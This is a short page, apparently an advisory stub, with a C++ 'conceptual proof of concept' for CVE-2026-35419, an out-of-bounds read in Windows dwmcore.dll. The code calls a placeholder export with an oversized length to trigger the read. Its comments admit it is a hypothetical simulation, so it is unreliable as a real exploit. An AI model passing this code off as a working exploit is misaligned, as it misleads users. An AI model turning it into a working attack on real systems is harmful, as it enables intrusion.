CVE-2026-35419 Windows DWM Core Library越界读取漏洞

#include <windows.h> #include <iostream> // Conceptual Proof of Concept for CVE-2026-35419 // Note: This is a simplified simulation to demonstrate the trigger logic. // Actual exploitation requires specific memory layout and API calls. void TriggerVulnerability() { // Load the vulnerable library (dwmcore.dll) HMODULE hDwmCore = LoadLibrary(L"dwmcore.dll"); if (hDwmCore == NULL) { std::cerr << "Failed to load dwmcore.dll" << std::endl; return; } // Hypothetical function causing the out-of-bounds read // In a real scenario, specific parameters would be crafted to // manipulate the buffer pointer to read beyond bounds. typedef void (*VULN_FUNC)(char* input, size_t length); VULN_FUNC VulnerableFunction = (VULN_FUNC)GetProcAddress(hDwmCore, "VulnerableFunctionName"); if (VulnerableFunction) { // Crafted input to trigger the read char buffer[256]; memset(buffer, 'A', sizeof(buffer)); // Passing a manipulated size or pointer to cause OOB read VulnerableFunction(buffer, 0xFFFFFFFF); } FreeLibrary(hDwmCore); } int main() { std::cout << "Attempting to trigger CVE-2026-35419..." << std::endl; TriggerVulnerability(); return 0; }